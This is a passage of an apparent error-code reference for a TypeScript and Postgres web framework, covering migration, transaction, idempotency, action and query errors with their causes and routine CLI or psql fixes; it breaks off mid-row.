X_MIGRATION_DESTRUCTIVE	this migration destroys data and does not say so	As of 2026-08: a committed migration whose up drops a table, drops a column, truncates or retypes, with no -- destructive: true line in the file. Raised by x verify's drift step over the files, never by the migrator — the rail fails in CI, before a release phase applies it. Only up is judged: reversing a create table is a drop table, and marking every down marks nothing	add the line -- destructive: true to the migration, or x db gen "<name>" --allow-destructive to regenerate it — the generator writes the marker itself. Add it before the migration is applied: the marker is SQL the checksum covers, so marking an applied file is an edit and answers X_MIGRATION_CONFLICT
X_MIGRATION_UNGENERATABLE	this migration holds SQL no declaration carries and does not say so	the third rail of the drift step, and the one a squash discards. x db gen can only write what an entity declares, so a hand-written CREATE TYPE … AS ENUM, CREATE EXTENSION, GRANT, ALTER TABLE … REPLICA IDENTITY FULL or a data backfill is lost the moment anyone regenerates — and no declaration-based check can see it, because a regenerated sidecar equals the declaration by construction. examples/dummy's 0001_init.sql holds 7: five enum types and both replica identities. A count, not a boolean, so the first hand-written statement does not buy that file an unlimited allowance	add the header line -- ungeneratable: <n> to the file packages/db/migrations/<id>.sql that the finding names, so a squash carries these statements by hand — or re-declare what an entity can express (an enum is a text column plus a check invariant) and run x db gen "<name>". Add the marker before the migration is applied: it is SQL the checksum covers, so marking an applied file answers X_MIGRATION_CONFLICT
X_MIGRATION_VIEW_DEPENDS	a view is compiled against a column this migration retypes	As of 2026-08-25: a preflight, run inside each migration's own transaction before its first statement, in both x db migrate and x db rollback. A view stores a compiled parse tree, not its text, so alter table … alter column … type under a dependent view is 0A000 cannot alter type of a column used by a view or rule and rolls the WHOLE migration back. The generator cannot see this by construction — a view is on no SchemaDescription, introspect() excludes views, and no entity can declare one — so the check lives where a connection exists. Until this code, the failure reached an operator as X_DB_UNAVAILABLE: cannot reach the database on a database the migrator was mid-transaction on, with the server's own rule _RETURN on view … depends on column sitting unread in a DETAIL field	cause names the view, the table and the column; fix is a runnable pair of psql "$DATABASE_URL" -c '…' invocations — drop the view, then x db migrate, then re-create it from the create view the fix line carries verbatim, read out of pg_get_viewdef before the drop. Single-quoted deliberately: identifier() writes the view name in DOUBLE quotes, so the -c "…" form the sibling migration errors use would end the shell word at the name. A view whose name identifier() refuses (a quote, a space, a backslash — all legal inside a quoted Postgres name) gets a fix that names the view as JSON and asks you to quote it, rather than a fix: that throws
X_MIGRATION_SNAPSHOT_MISSING	the newest migration records no schema snapshot	As of 2026-08: x db gen found the newest migration on disk carrying no <id>.snapshot.json sidecar — deleted, or hand-written without one. Every generated migration writes the sidecar the next generation diffs against, so there is nothing to diff the entities against. Refused rather than defaulted to the empty schema, which would emit create table for every table the database already holds. A scaffold no longer starts in this state: x new writes no migration at all, and x db gen is the one writer of that directory. x doctor reports it too, As of 2026-08, so the condition is visible before a generate hits it	git checkout -- packages/db/migrations/<id>.snapshot.json, or, when it was never written, delete the whole migration first and regenerate: rm packages/db/migrations/<id>.* && x db gen "<name>". That order is the fix — naming x db gen while the file is still there re-raises this code. The same condition reaches x db migrate as X_DB_DRIFT with an unknown-schema difference, whose fix: names the same two remedies in the same order
X_BRANCH_EXISTS	that branch database already exists	two conditions, one code: x db branch create <name> for a name already taken — refused rather than overwritten, because a silent re-clone discards whatever the branch already held — or a dropBranch() aimed at the database this session is itself connected to, which Postgres cannot drop from underneath its own connection	x db branch delete <name> # then re-create, or pick another name — x db branch list --json lists what exists. To drop the database you are connected to, reconnect elsewhere first: DATABASE_URL=.../postgres
X_SQL_UNSAFE	SQL was built by string interpolation	a non-scalar interpolated into a sql template, or an identifier or branch name that is not [a-z0-9_-]+	pass a scalar (it becomes $n), a nested sql fragment, or wrap audited SQL in raw() — cause numbers the interpolation
X_REPO_CLIENT_PINNED	a repository pinned to its own client cannot join the open transaction	a repository built through postgresDriver({ client }) used inside a transaction that was opened on another client. Refused rather than resolved: the pinned client takes a different connection out of its pool, so the write commits immediately and survives the rollback while the read cannot see rows the transaction already wrote — both silently. A transaction opened on the pinned client (withTransaction(fn, { client }), driver.transactor()) is joined, As of 2026-10-02 — tx.origin says it is the same database	setDbClient(client) at boot and build the repository with no client: — postgresDriver() then resolves the open transaction through db() — or run this call outside withTransaction()
X_DB_GEN_FAILED / X_DB_MIGRATE_FAILED	the x db step failed for a reason no framework error claimed	a write the filesystem refused, the database unreachable. A failure the engine itself names — X_MIGRATION_CONFLICT, X_MIGRATION_IRREVERSIBLE, X_DB_UNAVAILABLE — reaches you as that code, with its own fix, never wrapped in these	read cause — it carries the underlying error verbatim — then x doctor --json
X_DB_BRANCH_FAILED	x db branch refused, or failed for a reason no framework error claimed	two shapes under one code. A deliberate refusal: delete aimed at a name x db branch list does not show, whose cause names the exact database or data directory it would have touched, so the refusal is checkable rather than assertable. Or an unclaimed failure of any of the three verbs — the clone connection refused, the data directory unwritable. X_BRANCH_EXISTS (the name is taken) and X_SQL_UNSAFE (the name is not [a-z0-9_-]+) reach you as themselves	for the refusal, x db branch list --json — the name is not in the set, and only what that lists can be deleted. Otherwise read cause, then x doctor --json
X_DB_STUDIO_FAILED	reserved, not thrown — x db studio is planned and unreleased, and exits X_NOT_IMPLEMENTED. It shelled out to bunx drizzle-kit studio, a second schema engine for one subcommand	—	x dev, then the db panel at /_x
X_SCHEMA_DUMP_DRIFT	the committed schema dump is not what the migrations produce	a file under packages/db/schema/ was edited by hand, a migration was written or changed without regenerating the dump, or the dump was never generated. The cause names the first file that differs; a dump that does not load back into the schema it was rendered from reports here too	x db gen
X_ENTITY_SEALED_PREDICATE	a sealed column is read by a predicate, an order or a rule the database evaluates	a .sealed() column in where, andWhere, orderBy, countBy, an aggregate, a filtered write's filter, an index or an invariant. The database holds ciphertext, so every comparison there is a comparison of ciphertexts: without lookup nothing matches, and with it only equality does — never an order, a range or like	edit the call the cause names — find the row by another column, or declare the column text().sealed({ lookup: true }) to allow equality (where / in / .unique()): equal plaintexts then store as visibly equal ciphertexts, so never for a low-entropy value
X_ENTITY_SEALED_IN_VIEW	a sealed column is named in a view	entity.$view([...]) lists a .sealed() column. A view is what leaves the server — an action's output, an OpenAPI schema, an MCP tool result — and a sealed column never does: $schema omits it for the same reason	remove the sealed column from the $view([...]) list the cause names — server code reads it off the row; a caller that must be shown it gets its own field on a t.object output, set by the handler
X_DB_TRANSACTION_ABORTED	the server rolled the transaction back	a statement failed inside withTransaction and the body caught it instead of rethrowing; Postgres aborts the whole transaction on any statement error, so COMMIT answers ROLLBACK and nothing is stored	await withTransaction(() => fallible()).catch(fallback) — a nested scope is a SAVEPOINT: only it rolls back — or rethrow the statement error
X_DB_COMMIT_UNKNOWN	the connection was lost while COMMIT was in flight	the socket closed after COMMIT was sent and before the server answered, so the transaction is either durable or rolled back and this process cannot tell which; neither onCommit effects nor onRollback undos ran. Only the data can say which: a row the transaction wrote is present if it committed and absent if it did not	psql "$DATABASE_URL" — a session on that database: select a row the transaction wrote, and re-run the unit of work only when it is absent
X_DB_SIBLING_SCOPE_TIMEOUT	a nested transaction scope waited too long for its sibling	two withTransaction calls were started under one outer transaction and the first never finished inside siblingWaitMs — usually because its body awaits the second, which cannot start until the first returns	await withTransaction(first); await withTransaction(second) — one after the other, never a nested body awaiting a sibling — or raise the wait: withTransaction(fn, { siblingWaitMs: 120000 })
X_ENTITY_APPEND_ONLY	an append-only entity was asked to rewrite or remove a row	the call would rewrite or remove a stored row, and the entity is declared appendOnly: true	repo.insert(row) — append the correction as a new row, or remove appendOnly: true from the entity and run x db gen
X_APPEND_ONLY_TRIGGER_MISSING	an append-only table has lost its refusing trigger	the table is declared appendOnly, and its trigger ultimate_append_only is missing or disabled	bun run x -- db migrate --json — after running the two create statements the finding's own fix prints, against that database
X_MIGRATION_APPEND_ONLY_BACKFILL	a NOT NULL column added to an append-only table needs a default	existing rows could only get a value by an UPDATE the append-only trigger refuses	entity('<name>', { columns: { <col>: <builder>.default(<value>) } }) — then re-run x db gen
X_ENTITY_OPERATOR_UNKNOWN	a predicate names an operator outside the vocabulary	an operator that is not one of the closed set Operator declares — usually a SQL symbol ('>' for gt) or a different case ('GT'), reaching the plan through a cast, an operator built from a string, or a test run with no typecheck. Refused where the chain is written (andWhere) and again by both drivers for a plan built by hand, identically: before this the memory driver matched NO row with no error and the Postgres driver failed with a misleading X_SQL_UNSAFE. 500 — nothing the caller sends changes the answer, and the repair is an edit to source	the fix opens with the call, the operator meant substituted — andWhere('likes', 'gt', value) # operators: eq, neq, … — and a placeholder with the whole list when nothing is close. SQL symbols map >→gt, >=→gte, <→lt, <=→lte, =→eq, !=/<>→neq; a known word in another case or with _ maps to itself ('GT', 'is_null'). The list is OPERATORS in @ultimat3/entity, and isOperator() tests a value read off the wire
X_MIGRATION_CONCURRENT_IN_TRANSACTION	a concurrent index statement is in a migration that runs inside a transaction	a hand-written migration holds create index concurrently, drop index concurrently or reindex … concurrently but no -- transaction: false line, and Postgres refuses all three inside a transaction block (25001). Refused before the transaction opens, so nothing is applied	sed -i '1i -- transaction: false' packages/db/migrations/<id>.sql — before it is applied — or move the statement into a migration of its own
X_DB_TRANSACTION_CLOSED	statement on a finished transaction	a statement was sent on a transaction handle whose scope had already committed or rolled back: an un-awaited promise, or the loser of a Promise.all, outlived withTransaction	await it inside withTransaction(fn); for work that must outlive the scope, wrap it in outsideTransaction(fn)
X_MIGRATION_ROLLING_UNSAFE	this drop or rename would break the pods still running the old release	during a rolling deploy the old release keeps reading every column it declares, so a column dropped or renamed in the same release answers X_DB_SCHEMA_STALE on every read and insert of the old pods. Raised by x db gen for a drop not retired first, by the drift step (bounded by rollingSince in x.verify.json) over a committed migration, and by migrate() in production when a retire and its contract are both pending	entity('<t>', { retired: ['<c>'] }), then x db gen "retire <c>", deploy, then remove it from retired and x db gen "drop <c>" --allow-destructive; one instance that stops before the next starts: x db gen "<name>" --allow-destructive --rolling-unsafe
X_LOCK_UNSUPPORTED	a repository has no lock	db..lock or lockKey was called on a hand-written Repo that does not implement it implement lock and lockKey on the driver, or use the shipped postgresDriver() X_DB_POOLER_OPTIONS_REFUSED the connection pooler refused the libpq options a pool connects with the pooler answered 08P01 unsupported startup parameter at connection startup: a stock PgBouncer does not forward statement_timeout, so with DATABASE_POOLER unset every role fails on its first statement export DATABASE_POOLER=transaction && psql "<DATABASE_URL without its options parameter>" -c "alter role <user> set statement_timeout = '10s'" -c "alter role <user> set idle_in_transaction_session_timeout = '30s'" — session on a session pool; then reopen the pooler's server connections. A refused option of your own in DATABASE_URL's options: move it to alter role instead. Never psql "$DATABASE_URL": the pooler refuses those options again before alter role runs. The error's own fix: cuts the parameter with sed, so paste that X_DB_POOLER_SESSION_REQUIRED this role needs one backend per session, and a transaction pooler gives it none ROLE=migrate or ROLE=replicator, or a step that applies a migration, under DATABASE_POOLER=transaction: session advisory locks and replication need one backend. Refused before a socket, because two migrators through a transaction pooler both read true from pg_try_advisory_lock unset DATABASE_POOLER for this role, and point its DATABASE_URL at the server's own port X_DB_STATEMENT_BOUND_LOST the session's statement bound is not the role's logged at boot and reported by x doctor, never a refusal: statement_timeout or idle_in_transaction_session_timeout as the session reads it differs from POOL_PROFILES, or is 0 with DATABASE_POOLER set. A pooler that ignores or drops libpq options does this silently psql "<DATABASE_URL without its options parameter>" -c "alter role <user> set statement_timeout = '10s'" -c "alter role <user> set idle_in_transaction_session_timeout = '30s'", then reopen the pooler's server connections; or export DATABASE_POOLER=transaction if a pooler sits in the path. The error's own fix: cuts the parameter with sed X_TEST_DRIVER_CLIENT_CHANGED The installed client changed inside a testDriver() transaction setDbClient installed or cleared a client while a transaction opened through testDriver() was still running, so its writes would land in two stores beforeAll(() => setDbClient(client)); afterAll(() => setDbClient(undefined)); # outside every transactor().run / withTransaction scope X_ENTITY_TENANT_UNDECLARED a child of a tenant-owned table has no tenant an entity with no tenant column references, directly or through other entities, an entity that has one, and declares no shared reason, so a row of one tenant is readable by id from another add orgId: uuid().tenant() to the entity, then x db gen '<table> tenant'; or declare shared: '<why it belongs to no tenant>' X_DB_STATEMENT_BOUND_INVALID a statement bound is not a whole positive number of ms under the role bound withStatementTimeout(ms) or query({ timeoutMs }) asked for 0, a fraction, NaN, or more than the connected role statement_timeout — a read cannot extend what the role was sized for query({ timeoutMs: 500 }) # a whole number of ms below the role bound, read with: psql "$DATABASE_URL" -c 'show statement_timeout' X_MIGRATION_CONCURRENT_PARTITIONED a concurrent index build names a partitioned table Postgres builds no index concurrently on a partitioned parent (SQLSTATE 0A000); a migration ran create index concurrently on one CREATE INDEX CONCURRENTLY <index>_<partition> ON <partition> (<columns>); per partition, then CREATE INDEX <index> ON ONLY <parent> (<columns>);, then per partition ALTER INDEX <index> ATTACH PARTITION <index>_<partition>; — in a -- transaction: false migration (Partitioned tables) X_DB_ROW_SECURITY_BYPASSED row security is on and the serving role is exempt from it database.rowSecurity is on and the connected role is a superuser, has bypassrls, or owns a tenant table whose row security is not forced — Postgres exempts all three, so the policy would refuse nothing psql "$DATABASE_URL" -c 'alter role <role> nosuperuser nobypassrls' # and serve as a role that owns no table: the migrator owns them, ROLE=migrate X_DB_ROW_SECURITY_DRIFT a tenant table and database.rowSecurity disagree about its policy database.rowSecurity is on and a tenant table carries no forced tenant policy, or it is off and one still does — the migrations, the flag or the live database moved without the others x db gen "row security" X_KEYSET_NULL_KEY a keyset page holds a null in one of its sort keys a raw read paged with keyset() orders by a nullable column: a row comparison has no null order, so the null rows fall off every page keyset({ keys: [{ column: sqlcoalesce(p.published_at, p.created_at), kind: 'timestamptz', direction: 'desc' }, …] }) # or order by a not-null column X_MIGRATION_ROLLBACK_DESTRUCTIVE a rollback would serve an older build over a destructive migration the ledger holds a migration a newer build applied that drops or rewrites data (isDestructiveMigration), and the build starting now predates it x deploy --image <the newer image> --json — roll forward; or, after checking this build runs on the newer schema, set ROLLBACK_ALLOW_DESTRUCTIVE= on the migrate role X_ENTITY_SERIES_UNSUPPORTED a repository has no series db..series() was called on a hand-written Repo that does not implement it database(entities, { driver: postgresDriver() }) — the shipped drivers both answer series; a hand-written Repo implements it X_ENTITY_SERIES_INVALID a time series asked for something no bucket can answer an unknown unit, an on column that is not a timestamp(), a zone that is not IANA, or more buckets than one statement answers posts.series({ on: 'createdAt', unit: 'day', timeZone: 'Europe/Berlin', value: 'count' }) — a listed unit, a timestamp() column, an IANA zone, a range under the bucket ceiling X_ENTITY_VIEW_READ_ONLY a view entity was asked to write a row insert, update, upsert or delete reached an entity declared with view: { sql }, which is a relation Postgres derives and no row can be written to db.<source>.insert(row) — write the table the view reads; the view answers it on the next read (materialized: after refreshView runs) X_ENTITY_RETAIN_UNINDEXED entity({ retain }) names a column no index leads with retain.on is a timestamp column with no index that starts with it, so every sweep would scan the whole table add { on: ['createdAt'] } to indexes in the entity's declaration, then x db gen "index retain column" X_ENTITY_COUNTS_INVALID references(…, { countedIn }) names no integer of its parent, or is no key to its primary key a counter is an integer the database keeps on the parent, from a child key that references() that parent's primary key x db gen "count likes" after postId: uuid().references(() => posts.id, { countedIn: () => posts.likeCount }), with likeCount: integer().default(0) on posts X_ENTITY_RETAIN_INVALID entity({ retain }) has no window, sits beside appendOnly, or is on a partitioned table retain needs an after window the app chose; appendOnly refuses every delete; a partitioned table is retained by detaching partitions entity('<name>', { retain: { after: '90d', on: 'createdAt' } }) — set after, drop appendOnly or retain, or detach old partitions in a task; then x db gen "retention" X_LIFECYCLE_TRIGGER_MISSING a history or counter trigger the migrations created is missing from the database someone dropped or disabled ultimate_history, ultimate_history_guard or an ultimate_count_* trigger, so writes no longer record history or keep counts x db migrate --json — the finding names the psql statement that re-creates the trigger; then x db recount . --write for a counter X_ENTITY_READ_ONLY a read-only entity was asked to write a row entity({ readOnly: '' }) declares a table the app only reads — legacy history, a table another system owns — and its repository refuses every insert, update, upsert, delete and lock before any statement x entities show <entity> --json — the readOnly reason says why; write the table the app owns, or drop readOnly from entity('', { … }) when it is writable again X_DRIVER_UNSUPPORTED a custom driver was asked for a capability it does not declare defineDriver({ capabilities }) omits the capability the call needs (meta.capability): transactions, lock, series, upsert, matches or aggregate: implement the method on the raw repo and add its name to capabilities in defineDriver({ … }), or run that call on postgresDriver() X_DRIVER_CAPABILITY_MISSING a custom driver declares a capability its raw repo does not implement defineDriver({ capabilities }) names a capability (meta.capability) whose method the repo() factory does not return, or transactions with no transactor() add the method the cause names to the object repo() returns in defineDriver({ … }), or drop the capability from capabilities X_DRIVER_ROW_OUT_OF_SCOPE a custom driver returned a row outside the plan it was given the raw repo's select() ignored a predicate the framework scoped the read with — another tenant's row, a soft-deleted row, or another key — and the kit refused it before the caller saw it evaluate every plan.where predicate in the driver's select(): selectRows(entity, rows, read) from @ultimat3/entity/adapter does it for an in-process store X_MIGRATION_PARTITION_CHANGE an existing table gained or lost entity({ partitionBy }) Postgres cannot partition a table in place, nor turn a partitioned one back into a plain table: both are a new table and a copy of every row put partitionBy back as the table was created, or declare a new entity with partitionBy, backfill() its rows from the old one, then drop the old one in a later release (wiki/Migrations-And-Backfills.md#partitioned-tables) X_ENTITY_PARTITION_INVALID entity({ partitionBy }) declares a partitioning Postgres cannot build the primary key or a unique index does not hold the partition column, the column is no timestamp() or date(), the interval is unknown, or retain/view/history sits beside it edit the entity's partitionBy as the error's cause says — e.g. primaryKey: ['id', 'at'] — then x db gen "partition" X_MIGRATION_LOCK_HEAVY this migration holds a live table still for a full scan a committed migration newer than the rail (LOCK_HEAVY_SINCE) runs set not null with no validated check before it, or create index without concurrently, on a table it did not create: Postgres scans every row under a lock that stops writes (ACCESS EXCLUSIVE, or SHARE for the build). Raised by the drift step over the files alter table "<t>" add constraint "<t>_<c>_not_null" check ("<c>" is not null) not valid; # deploy, then a new migration: alter table "<t>" validate constraint "<t>_<c>_not_null"; alter table "<t>" alter column "<c>" set not null; alter table "<t>" drop constraint "<t>_<c>_not_null"; — for an index: create index concurrently … on "<t>" (…); in a migration of its own whose first line is -- transaction: false. A deliberate one: add the line -- lock-heavy: true directly above that statement in the migration's .sql file before x db migrate applies it X_ENTITY_PAGE_TOO_LARGE a page weighed more than the page byte bound before it was decoded a read answered rows whose raw size passed MAX_PAGE_BYTES (64 MiB): every one of them would be decoded and held in memory at once .select('id', 'title').limit(50) on the chain the refusal names — the columns the page renders, and fewer rows; inBatches(n) to visit every row Actions Code Means Typical cause Fix X_MUTATOR_CLOCK_MISSING a mutator declares conflict: 'last-write-wins' and its entity has no number clock column mutator({ conflict: 'last-write-wins' }), checked at declaration. An entity row in its output has no number updatedAt the server writes (a timestamp() string does not count), or the output carries no entity row at all. Core's resolveConflict could then never prove the local row newer, so the server row would win every time add updatedAt (a number, epoch ms, written by the server) to the entity, or declare conflict: 'server-wins'. With no entity row in the output: return the entity row from the mutator's output, or declare conflict: 'server-wins' X_ACTION_DUPLICATE two actions registered under one name duplicate export names across features rename one; names are global. x actions list --json X_ACTION_PATH_DUPLICATE two actions derive one HTTP path two distinct names that pluralize onto the same route — archiveOrder and archiveOrders both derive POST /api/orders/archive. Names differ so X_ACTION_DUPLICATE does not fire, and the action seated last silently shadows the other while its OpenAPI operation and MCP tool still advertise it rename one export so the two derive different paths — x actions list --json prints every derived route X_INPUT_INVALID input failed the primitive's schema — an action's, and a query's too wrong shape from a client or an agent; over HTTP it is a 400, never a 500; over MCP an isError tool result (As of 22.10) x actions show <name> --json (x queries show <name> --json for a read) X_OUTPUT_INVALID the handler returned a value its output schema rejects the handler drifted from the declared output x actions show <name> --json, then fix the handler or the schema X_ACTION_FOREIGN a value that is not an action was projected as one a hand-rolled object with kind: 'action', or an action from a duplicated copy of @ultimat3/action declare it as export const name = action({ input, output, policy, handle }) X_ACTION_UNREGISTERED an action was projected before it was registered, so it has no name .client() / .job() / .openapi() on an action no defineApi() named list the action's module in defineApi({ actions }) in apps/<app>/api/index.ts — the boot names it before mounting routes X_IDEMPOTENCY_CONFLICT idempotency key reused with a different payload, or still in flight a retried request mutated its body send a fresh Idempotency-Key for a different payload; otherwise retry after the first settles X_IDEMPOTENCY_KEY_INVALID an Idempotency-Key header was sent that cannot identify one request a blank value — Headers.get() answers '' for Idempotency-Key: and never null, so a blank header used to become a live key every blank sender shared — or one past the 255 characters the OpenAPI operation publishes. A 400, raised before the handler, so nothing was written set the header to a fresh crypto.randomUUID() on the client, one per request — or omit it entirely to run this call without idempotency X_IDEMPOTENCY_NOT_SHARED idempotency is declared fleet-wide and the installed store is per-process configureIdempotency({ scope: 'shared' }) against a store whose scope is 'process' — or one that declares no scope at all, refused identically: what cannot be shown to be shared is not assumed to be. Refused at registration, before a socket opens, because the failure it replaces is silent and expensive — under replicas: 3 the retry that lands on another replica finds no record, re-runs the handler and charges the card again, with nothing anywhere saying it did drop the idempotencyStore: field from apps/<app>/runtime.ts so the boot installs its shared postgresIdempotencyStore() over DATABASE_URL, or hand it one: idempotencyStore: postgresIdempotencyStore({ executor: { query: (text, values) => client.query({ text, values }) }, origin: () => client, reclaimAfterMs: requestDeadlineMs }) (never executor: Bun.sql — it has no .query) — or drop the declaration to configureIdempotency({ scope: 'process' }) X_IDEMPOTENCY_STATUS_UNKNOWN an idempotency record holds a status this build cannot read x_idempotency.status holds a word this build has no branch for. The record was written by whatever build was deployed when the first attempt ran, which on a rolling deploy is not this one. Refused rather than cast: an unknown status fell past every branch of withIdempotency and answered { value: null, replayed: true } — "this already ran, here is its result" — for a record nobody could read psql "$DATABASE_URL" -c "select key, status from x_idempotency where status not in ('in-flight', 'settled', 'failed')" — then drain the older processes X_IDEMPOTENCY_REPLAYED_FAILURE a retried Idempotency-Key replays a first attempt that failed after it may have committed the first attempt under this key threw and the store kept no detail of it — so nothing ran here, and what the caller is being handed is a recorded outcome, not a second execution. When the store did keep the first attempt's code, that code is replayed instead of this one; meta.replayed is true either way read the first attempt in the logs, then send a fresh Idempotency-Key once the cause is fixed X_CONTRACT_DRIFT client and server disagree about the contract three raises. Build id: the typed client holds types from one build and a server on another answered (rpc({ buildId }) against the x-ultimate-build response header). Path style: a POST reached the path an action has under a pathStyle this server does not serve — 404, the cause names the action, both styles and the served path (As of 2026-10; it was a bare X_ROUTE_NOT_FOUND). Contract test: a generated contract assertion did not hold — the OpenAPI document has no entry for the action, or its policy denial could not be proven build id: reload the page. Path style: rpc<Api['actions']>({ baseUrl, pathStyle: 'readable' }) with the style the cause names — a browser passes none, the page states it. Contract test: the thrown fix: names the edit; x actions show <name> --json prints the schema X_ACTION_DEPRECATION_INVALID an action declares a deprecation whose dates cannot be rendered a deprecated: { since, sunset } value that is not a date. Refused where the declaration is converted, so the route and the OpenAPI operation refuse the same value — a Sunset header rendering Invalid Date is a contract statement no client can act on edit deprecated: { <field>: … } on the action to an ISO-8601 instant — e.g. '2026-12-31T23:59:59Z' X_AUDIT_SINK_MISSING an action declares audit: true and no sink is installed apps/<app>/runtime.ts names no auditSink. Raised before the input parse — it is the one audit failure with nothing committed behind it, and there is deliberately no logger-backed default: a line nobody stores would satisfy the declaration while recording nothing auditSink: postgresAuditSink({ executor }) in export const runtime = { … }, apps/<app>/runtime.ts (Adapters). Two ship: postgresAuditSink({ executor }) — append-only x_audit, one row per record, no purge — and memoryAuditSink(), which is a bounded ring that drops (1,000 records, oldest first, dropped counts them) and is the dev sink, not a system of record. Nothing applies SQL_AUDIT_TABLE at boot yet, so run that DDL once against the app's database before naming the Postgres sink X_AUDIT_SINK_FAILED an action ran and its sink refused the record, so the change is unrecorded the sink threw on an allowed record — the handler had already committed, so this is not a rollback. A refused denied/failed record is logged instead and the original error still reaches the caller, because answering with an audit error there would hide the X_FORBIDDEN and turn the audit backend's health into an oracle the fix branches on whether this call is replayable, and meta.replayable carries the same fact. Replayable (the call arrived with an Idempotency-Key): fix the sink runtime.ts installs as auditSink, then retry with the same key — the replay re-records without re-running the handler. Not replayable (no key was in play, whether or not the action declares idempotent): fix the sink and reconcile this one change by hand — do not retry, because a second call runs the committed handler again X_RPC_FAILED an RPC call failed without a problem+json body registered, thrown by nothing since 21.0.0. Until then it was what a typed client answered for a gateway, a network fault, a non-JSON response, or a body whose code is not a framework code in X_ SCREAMING_SNAKE form. All of those are X_CLIENT_TRANSPORT_FAILED now, from actions and queries alike. RpcFailedError stays exported, because a shipped code never changes meaning match X_CLIENT_TRANSPORT_FAILED instead: isUltimateError(e) && e.code === 'X_CLIENT_TRANSPORT_FAILED', with isUltimateError from @ultimat3/core X_ACTION_HTTP_PATH_INVALID an action's pinned http.path is not a valid path or :param template the pin carries an uppercase letter, a *wildcard or a trailing slash, claims the framework /_x namespace, names a :param that is not a required t.string key of input: or names one twice, or http.method is unknown or set without http.path; derivePath(name) on a template raises it too, having no values to fill it http: { path: '/orders/:id/refund', method: 'POST' } with input: t.object({ id: t.string }) — every :param a required t.string key of input:; segments of a-z 0-9 . _ ~ -, no *wildcard, no trailing slash, never under /_x; method POST, PUT, PATCH or DELETE X_ACTION_PATH_STYLE_INVALID defineApi's http.pathStyle is not a known style a pathStyle other than 'resource' or 'readable' — a typo, or a value read from config that was never one of the two. Refused at the declaration, before any path is derived under it defineApi({ ..., http: { pathStyle: 'readable' } }) — or 'resource', the default X_OPENAPI_CONFIG_INVALID defineApi's openapi block cannot produce a valid document an empty title or version, a servers URL that is relative or not http(s), or a mount document whose file name does not end in .json — the cause names which defineApi({ ..., openapi: { title: 'My API', version: '1.0.0', servers: [{ url: 'https://www.example.com' }] } }) — non-empty title and version, absolute http(s) server URLs, and a document file name ending in .json X_ACTION_PATH_DERIVED_EARLY a path was derived before pathStyle changed a module-level derivePath(name).path ran before defineApi declared the style, so that module holds a URL no route serves derive the path where it is used — inside the component or function, never in a module-level const — or import the module that calls defineApi({ http: { pathStyle } }) (apps/web/api/index.ts) before the one that derives it X_MUTATOR_NOT_IDEMPOTENT a mutator is declared without idempotent: true mutator({ … }), checked at declaration. A mutator's write is replayed by the client under one Idempotency-Key — useMutation's retry, the offline queue's drain after a dropped response — and the server reads that key only for an idempotent: true action, so without it the replay runs the server half a second time add idempotent: true to the mutator definition X_IDEMPOTENCY_RESERVATION_LOST an idempotent action's reservation was taken over before its transaction could settle it postgresIdempotencyStore, settling inside the handler's transaction. The call ran past the request deadline (the app's requestTimeoutMs) with its record still in flight, a retry under the same Idempotency-Key reclaimed the key, and this attempt's settlement then matched no row. The refusal rolls this attempt's transaction back, so the write is applied by the retry and never twice resend this request with the same Idempotency-Key — the attempt that took the key over answers it, and this one's transaction was rolled back X_IDEMPOTENT_REPLAY_REDACTED an idempotent replay would return a field redacted at rest the stored answer for this idempotency key had a secret-named field redacted when it settled, so it cannot be replayed faithfully x actions show '<action>' --json # the call already ran and showed its secret once — read its effect with a query; a new Idempotency-Key runs it again (a second credential) X_IDEMPOTENCY_OUTPUT_UNSERIALIZABLE an idempotent action's answer cannot be stored as JSON, so no retry could replay it the handler of an idempotent action returned a value JSON has no form for: a bigint, a NUL or a lone surrogate in its answer (a NaN is not this refusal: it rests as null). Its work ran, and a retry under the same Idempotency-Key replays this refusal rather than running it again return JSON from handle: String(id) for a bigint, text with no NUL and no lone surrogate, then send a fresh Idempotency-Key once the handler is fixed X_IDEMPOTENCY_RUN_CEILING a keyed run passed its hard ceiling a keyed handler runs past the request deadline so its replay can answer success, and this one was still running at the ceiling: it was aborted, and the key settled as this failure make the call that hung with outbound() from @ultimat3/core/outbound, which the ceiling aborts, or raise the ceiling: configureIdempotency({ scope, ceilingMs: 300_000 }) at boot X_CONTRACT_DEFECT a generated legal input made a handler fail the contract step's exercise assertion called the handler with input its own schema accepts, and it threw an uncoded error, failed its output schema, or answered a coded 5xx; meta.run and meta.input name the run fix the handler or tighten input:, then replay the exact run: bun test <file> -t '<name>: handler survives generated input' (the seed is the action name) X_CONTRACT_EXERCISE_UNREACHED no generated run reached the handler every run of the exercise assertion stopped before the handler: denied by policy, refused input, a rate limit or a sealed network; meta.outcomes lists what each run hit give a permitted actor: defineExercise({ <name>: { actor } }) in apps/web/exercise.ts, or bind a real row: { actor, input: (drawn) => ({ ...drawn, postId }) } X_CONTRACT_EXERCISE_UNDECLARED .contract() on a non-public action names no exercise a contract suite for an action or query whose policy refuses an anonymous caller states neither the actor to exercise its handler as nor a reason to skip it, or states a blank reason defineExercise({ <name>: { actor } }) in apps/web/exercise.ts, then <name>.contract({ exercise }) with that file's export — or { off: '<why this handler cannot run in a test>' } there X_ACTION_STREAM_INVALID a streaming action broke its stream contract stream: is declared beside a handle that is not an async generator, or a yielded chunk failed the stream schema async *handle({ input, ctx }) { yield chunk; return output; } — yield only what stream: declares X_METER_EXCEEDED an action's usage meter is spent for this period a caller drew every call a meter: block allows in the current UTC period — meta carries meter, limit and resetsAt x actions show <action> --json — names the meter; raise what meter.limit resolves to for this tenant, or retry after meta.resetsAt (the Retry-After header) X_METER_INVALID an action's meter cannot be counted against a meter: block declares a bad name, period or warnAt, warnAt without onWarn, or its limit resolved to something other than a whole number of 0 or more meter: { name: 'calls', period: 'day', limit: ({ ctx }) => 500, warnAt: 0.8, onWarn: quotaWarning } — edit the action the cause names A code the SERVER threw keeps its own code on the client — including one this table never lists, because an app declares its own through defineError. The typed client rebuilds it as a RemoteActionError marked meta.origin: 'remote' — with the document's declared meta keys put back beside that marker, As of 2026-09-05 — linked to the first of the server's docs and RFC-9457 type that is an absolute http(s) URL — a javascript: in the preferred slot costs nothing, it does not suppress the other — and otherwise to this page, which is the error index. It never synthesizes a per-code URL for a code no row here documents: there is one docs URL in the framework, ERROR_DOCS_URL, and a code lives here in a table row, which has no anchor to link at. As of 2026-08-23. Queries and live queries Code Means Typical cause Fix X_QUERY_DUPLICATE two queries registered under one name duplicated export rename one; x queries list --json X_QUERY_FOREIGN a value that is not a query was projected as one a hand-rolled object with kind: 'query', or a query from a duplicated copy of @ultimat3/query declare it as export const name = query({ input, policy, sql }) X_QUERY_UNREGISTERED a query was projected before it was registered .client() / 